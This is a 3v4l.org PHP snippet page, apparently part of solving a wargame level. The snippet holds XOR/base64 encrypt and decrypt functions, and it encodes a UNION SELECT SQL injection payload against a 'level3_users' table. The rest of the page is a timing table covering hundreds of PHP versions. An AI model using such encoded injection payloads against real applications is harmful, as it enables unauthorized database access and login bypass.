3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } echo decrypt("MTI5MTY0MTczMTY5MTc0"); print "\n"; function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo encrypt("Admin' UNION SELECT 1,2,3,4,5,6,7 FROM level3_users WHERE user='Admin' --"); print "\n"; print "\n"; ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0150.00618.55
8.3.50.0130.01022.01
8.3.40.0190.00019.14
8.3.30.0000.01419.21
8.3.20.0050.00320.13
8.3.10.0050.00323.48
8.3.00.0000.00819.38
8.2.180.0120.00318.42
8.2.170.0110.00422.96
8.2.160.0170.00320.34
8.2.150.0080.00024.18
8.2.140.0040.00424.66
8.2.130.0070.00026.16
8.2.120.0000.00722.25
8.2.110.0060.00319.30
8.2.100.0110.00017.97
8.2.90.0040.00419.19
8.2.80.0030.00617.97
8.2.70.0060.00317.73
8.2.60.0040.00418.04
8.2.50.0000.00818.07
8.2.40.0040.00419.95
8.2.30.0000.00718.10
8.2.20.0000.00817.98
8.2.10.0040.00418.25
8.2.00.0000.00717.84
8.1.280.0070.00725.92
8.1.270.0070.00722.32
8.1.260.0080.00026.35
8.1.250.0070.00028.09
8.1.240.0050.00521.09
8.1.230.0110.00017.76
8.1.220.0080.00017.79
8.1.210.0030.00618.77
8.1.200.0090.00017.59
8.1.190.0090.00017.60
8.1.180.0030.00618.10
8.1.170.0060.00318.81
8.1.160.0000.00721.99
8.1.150.0040.00418.83
8.1.140.0040.00417.63
8.1.130.0040.00417.86
8.1.120.0070.00017.63
8.1.110.0000.00717.68
8.1.100.0050.00317.65
8.1.90.0000.00717.74
8.1.80.0050.00217.65
8.1.70.0040.00417.56
8.1.60.0040.00417.70
8.1.50.0040.00417.60
8.1.40.0060.00317.62
8.1.30.0030.00517.60
8.1.20.0000.00817.88
8.1.10.0000.00917.80
8.1.00.0000.00817.75
8.0.300.0030.00618.77
8.0.290.0070.00017.00
8.0.280.0030.00318.51
8.0.270.0050.00217.35
8.0.260.0030.00317.20
8.0.250.0070.00017.09
8.0.240.0000.00717.17
8.0.230.0050.00317.03
8.0.220.0040.00417.14
8.0.210.0030.00317.10
8.0.200.0030.00317.21
8.0.190.0040.00417.21
8.0.180.0030.00517.11
8.0.170.0030.00617.13
8.0.160.0050.00217.07
8.0.150.0050.00316.91
8.0.140.0000.00717.08
8.0.130.0030.00313.54
8.0.120.0060.00316.98
8.0.110.0050.00216.98
8.0.100.0000.00817.14
8.0.90.0000.00716.98
8.0.80.0040.01117.07
8.0.70.0000.00817.03
8.0.60.0050.00317.11
8.0.50.0000.00716.98
8.0.30.0120.01217.49
8.0.20.0120.00617.42
8.0.10.0030.00517.08
8.0.00.0120.00617.10
7.4.330.0060.00015.10
7.4.320.0030.00316.78
7.4.300.0000.00716.77
7.4.290.0000.00716.84
7.4.280.0000.00816.74
7.4.270.0070.00016.77
7.4.260.0000.00716.86
7.4.250.0040.00416.74
7.4.240.0030.00516.69
7.4.230.0040.00416.93
7.4.220.0100.00716.89
7.4.210.0070.00816.79
7.4.200.0000.00716.67
7.4.190.0040.00417.04
7.4.160.0120.00416.76
7.4.150.0070.01017.40
7.4.140.0120.00617.86
7.4.130.0060.01316.89
7.4.120.0100.00716.84
7.4.110.0130.00516.80
7.4.100.0100.00716.65
7.4.90.0110.00816.67
7.4.80.0070.01419.39
7.4.70.0100.00816.86
7.4.60.0120.00616.68
7.4.50.0040.00416.50
7.4.40.0100.01016.75
7.4.30.0100.01016.87
7.4.00.0030.01315.06
7.3.330.0000.00613.47
7.3.320.0000.00513.62
7.3.310.0050.00316.52
7.3.300.0040.00416.43
7.3.290.0120.00916.52
7.3.280.0100.00616.54
7.3.270.0090.00917.40
7.3.260.0110.00816.98
7.3.250.0070.01016.84
7.3.240.0090.00916.86
7.3.230.0090.00916.61
7.3.210.0100.00716.61
7.3.200.0110.00819.39
7.3.190.0190.00016.57
7.3.180.0090.01216.55
7.3.170.0110.00816.46
7.3.160.0040.01216.86
7.3.120.0070.01017.15
7.3.110.0060.00917.15
7.3.100.0070.00717.15
7.3.90.0000.01417.15
7.3.80.0030.00717.15
7.3.70.0060.00617.15
7.3.60.0060.00317.15
7.3.50.0100.00317.15
7.3.40.0030.01017.15
7.3.30.0030.01117.15
7.3.20.0030.01417.15
7.3.10.0090.00617.15
7.3.00.0120.00017.15
7.2.330.0120.01016.81
7.2.320.0130.00916.78
7.2.310.0110.01117.03
7.2.300.0040.01416.92
7.2.290.0120.01116.84
7.2.240.0040.01417.15
7.2.230.0060.00917.15
7.2.220.0100.00717.15
7.2.210.0070.00717.15
7.2.200.0070.00717.15
7.2.190.0030.00917.15
7.2.180.0060.00917.15
7.2.170.0060.00917.15
7.2.160.0060.00617.15
7.2.150.0110.00417.16
7.2.140.0000.01817.16
7.2.130.0100.00717.15
7.2.120.0130.00317.20
7.2.110.0060.00917.17
7.2.100.0070.00317.15
7.2.90.0070.00717.21
7.2.80.0110.00617.15
7.2.70.0090.00617.29
7.2.60.0060.00617.15
7.2.50.0100.00717.15
7.2.40.0070.01017.20
7.2.30.0130.00317.32
7.2.20.0060.00917.22
7.2.10.0060.00617.15
7.2.00.0030.01617.28
7.1.330.0000.00817.15
7.1.320.0030.00817.15
7.1.310.0030.00917.15
7.1.300.0030.00917.15
7.1.290.0060.00617.15
7.1.280.0080.00617.15
7.1.270.0070.01017.15
7.1.260.0040.00817.15
7.1.250.0000.01617.15
7.1.70.0060.00317.53
7.1.60.0030.02119.46
7.1.50.0200.01335.05
7.1.00.0100.07322.55
7.0.200.0060.00616.45
7.0.140.0070.07022.16
7.0.100.0130.07320.01
7.0.90.0030.04319.91
7.0.80.0170.06319.91
7.0.70.0200.03319.87
7.0.60.0130.06319.76
7.0.50.0070.08720.31
7.0.40.0030.09319.99
7.0.30.0070.08319.98
7.0.20.0100.07320.11
7.0.10.0100.05720.09
7.0.00.0100.07719.99
5.6.280.0070.07021.00
5.6.250.0030.06720.59
5.6.240.0070.07720.62
5.6.230.0070.05320.64
5.6.220.0070.08020.70
5.6.210.0130.07320.62
5.6.200.0130.07320.97
5.6.190.0030.06720.97
5.6.180.0100.08021.04
5.6.170.0200.06020.89
5.6.160.0030.05720.92
5.6.150.0070.08021.02
5.6.140.0170.07021.01
5.6.130.0170.07320.90
5.6.120.0130.07020.96
5.6.110.0030.05320.98
5.6.100.0070.06721.11
5.6.90.0170.07020.96
5.6.80.0030.08020.30
5.6.70.0130.06720.36
5.6.60.0030.05020.32
5.6.50.0100.07320.40
5.6.40.0030.04720.38
5.6.30.0200.07020.27
5.6.20.0130.05720.44
5.6.10.0100.08720.32
5.6.00.0070.07020.27
5.5.380.0070.04720.32
5.5.370.0030.08720.33
5.5.360.0130.07020.36
5.5.350.0070.07320.33
5.5.340.0070.07320.82
5.5.330.0230.04020.75
5.5.320.0070.08320.85
5.5.310.0030.06020.75
5.5.300.0030.05020.84
5.5.290.0100.06320.69
5.5.280.0100.08320.85
5.5.270.0100.07320.59
5.5.260.0170.07320.84
5.5.250.0130.08720.64
5.5.240.0200.07020.18
5.5.230.0130.03720.18
5.5.220.0030.05720.13
5.5.210.0070.04320.14
5.5.200.0230.07020.06
5.5.190.0170.06720.08
5.5.180.0030.04720.22
5.5.160.0230.06720.22
5.5.150.0070.04720.19
5.5.140.0070.04320.06
5.5.130.0070.05720.09
5.5.120.0000.08320.18
5.5.110.0000.06720.17
5.5.100.0130.03319.91
5.5.90.0100.07019.90
5.5.80.0070.04719.90
5.5.70.0070.07019.98
5.5.60.0000.07719.98
5.5.50.0130.06020.10
5.5.40.0130.05719.92
5.5.30.0030.08320.01
5.5.20.0030.08319.95
5.5.10.0100.08020.09
5.5.00.0100.07020.00
5.4.450.0070.08719.40
5.4.440.0130.07719.37
5.4.430.0100.07719.23
5.4.420.0130.07019.36
5.4.410.0100.07319.29
5.4.400.0100.06019.14
5.4.390.0130.07319.20
5.4.380.0030.07719.13
5.4.370.0100.08018.95
5.4.360.0000.07719.23
5.4.350.0100.07319.21
5.4.340.0030.06319.14
5.4.320.0030.05019.04
5.4.310.0000.08719.16
5.4.300.0070.04319.09
5.4.290.0070.07018.87
5.4.280.0100.07319.02
5.4.270.0100.05019.21
5.4.260.0100.03319.13
5.4.250.0100.04718.87
5.4.240.0100.07718.89
5.4.230.0030.04319.05
5.4.220.0100.07018.89
5.4.210.0030.08019.22
5.4.200.0100.06718.90
5.4.190.0130.06318.85
5.4.180.0130.06318.86
5.4.170.0000.06319.14
5.4.160.0030.07719.23
5.4.150.0070.07319.14
5.4.140.0070.07316.49
5.4.130.0130.06716.39
5.4.120.0030.07316.45
5.4.110.0070.06716.49
5.4.100.0030.05316.57
5.4.90.0130.06316.56
5.4.80.0070.07316.51
5.4.70.0070.04016.54
5.4.60.0070.07316.48
5.4.50.0100.05016.39
5.4.40.0100.03316.41
5.4.30.0130.03716.30
5.4.20.0130.06016.41
5.4.10.0030.07016.39
5.4.00.0070.07315.72
5.3.290.0030.04314.76
5.3.280.0070.07714.67
5.3.270.0070.07314.63
5.3.260.0070.07714.61
5.3.250.0100.04714.62
5.3.240.0030.07714.67
5.3.230.0030.04714.73
5.3.220.0100.06714.69
5.3.210.0070.06714.55
5.3.200.0070.06014.63
5.3.190.0170.05314.63
5.3.180.0000.05014.68
5.3.170.0070.09014.50
5.3.160.0000.08314.56
5.3.150.0130.03714.68
5.3.140.0100.07014.69
5.3.130.0070.07714.56
5.3.120.0100.04714.58
5.3.110.0170.06714.52
5.3.100.0070.08714.16
5.3.90.0070.07713.96
5.3.80.0100.03014.14
5.3.70.0000.04013.94
5.3.60.0100.06314.10
5.3.50.0070.05314.03
5.3.40.0030.08013.84
5.3.30.0070.07313.98
5.3.20.0070.07313.59
5.3.10.0100.07013.64
5.3.00.0100.06713.78
5.2.170.0030.06311.18
5.2.160.0070.05711.29
5.2.150.0070.05711.21
5.2.140.0070.06711.28
5.2.130.0030.04711.20
5.2.120.0130.05011.16
5.2.110.0100.05311.21
5.2.100.0130.06011.23
5.2.90.0100.05311.01
5.2.80.0030.06011.16
5.2.70.0070.05011.13
5.2.60.0000.06011.12
5.2.50.0070.06011.08
5.2.40.0030.05311.06
5.2.30.0070.06311.07
5.2.20.0030.04711.00
5.2.10.0100.05310.93
5.2.00.0100.02710.59
5.1.60.0100.04710.07
5.1.50.0030.0539.88
5.1.40.0100.05010.09
5.1.30.0070.05710.35
5.1.20.0100.03310.41
5.1.10.0100.05010.09
5.1.00.0070.05010.17
5.0.50.0030.0338.66
5.0.40.0070.0438.52
5.0.30.0070.0508.36
5.0.20.0000.0478.21
5.0.10.0030.0408.27
5.0.00.0030.0578.02
4.4.90.0000.0307.46
4.4.80.0000.0277.46
4.4.70.0030.0137.46
4.4.60.0130.0277.46
4.4.50.0200.0237.46
4.4.40.0000.0537.46
4.4.30.0000.0237.46
4.4.20.0030.0277.46
4.4.10.0030.0337.46
4.4.00.0000.0337.46
4.3.110.0070.0137.46
4.3.100.0030.0337.46
4.3.90.0030.0337.46
4.3.80.0000.0437.46
4.3.70.0000.0307.46
4.3.60.0000.0377.46
4.3.50.0030.0377.46
4.3.40.0030.0537.46
4.3.30.0000.0407.46
4.3.20.0030.0377.46
4.3.10.0030.0337.46
4.3.00.0000.0237.46

preferences:
43.08 ms | 401 KiB | 5 Q